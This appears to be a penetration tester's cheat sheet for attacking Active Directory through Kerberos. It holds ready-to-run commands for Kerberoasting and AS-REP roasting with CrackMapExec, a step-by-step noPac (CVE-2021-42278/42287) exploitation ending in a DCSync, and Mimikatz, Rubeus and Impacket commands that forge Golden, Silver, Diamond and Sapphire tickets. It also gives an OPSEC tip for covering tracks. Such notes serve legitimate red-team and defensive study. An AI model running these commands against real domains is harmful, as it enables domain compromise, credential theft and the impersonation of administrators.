- Cerbero - `cerbero ask -u contoso.local/Anakin --aes ecce3d24b29c7f044163ab4d9411c25b5698337318e98bf2903bbb7f6d76197e -k 192.168.100.2 -vv` - Silver Ticket services - psexec - CIFS - winrm - HOST & HTTP - dcsync (DC only) - LDAP - Kerberoast/ASREPRoast (with CME) - `crackmapexec ldap –u ValidUser –p ValidPass –kerberoast targets.txt` - `crackmapexec ldap dc.domain.local -u ValidUser -p ValidPass --asreproast targets.txt` - NoPAC - CVE-2021-42278 and CVE-2021-42287 - Breakdown - Create a new computer account with any name - Requires SeMachineAccountPrivilege - by default all domain users can create up to 10 machine accounts - Clear the SPNs - Change the name to mimic the SamAccountName of a Domain Controller (without the "$") - Request TGT for the machine account - Change name of computer back to its original value - Request TGS for the LDAP service using the TGT - Account name no longer exists - Kerberos will append a "$" and now the name will match the DC - DCSync - Exploitation - `python noPac.py domain.local/username:password -dc-ip -dc-host --impersonate -dump` - https://github.com/Ridter/noPac - OPSEC - remember to delete the machine account after execution - Dominance Tickets - Golden Tickets - Mimikatz: `kerberos::golden /user: /domain: /sid: /krbtgt: /ticket:golden.kirbi` - Silver Tickets - Rubeus: `Rubeus.exe silver /service: /aes256: /user: /domain:rlyeh.local /sid:` - Diamond Tickets - Rubeus: `Rubeus.exe diamond /tgtdeleg /ticketuser: /ticketuserid: /groups: /krbkey:` - Sapphire Tickets - Impacket: `ticketer.py -request -user lowpriv -password 'pwd123' -impersonate administrator -domain rlyeh.local -domain-sid -aesKey Administrator`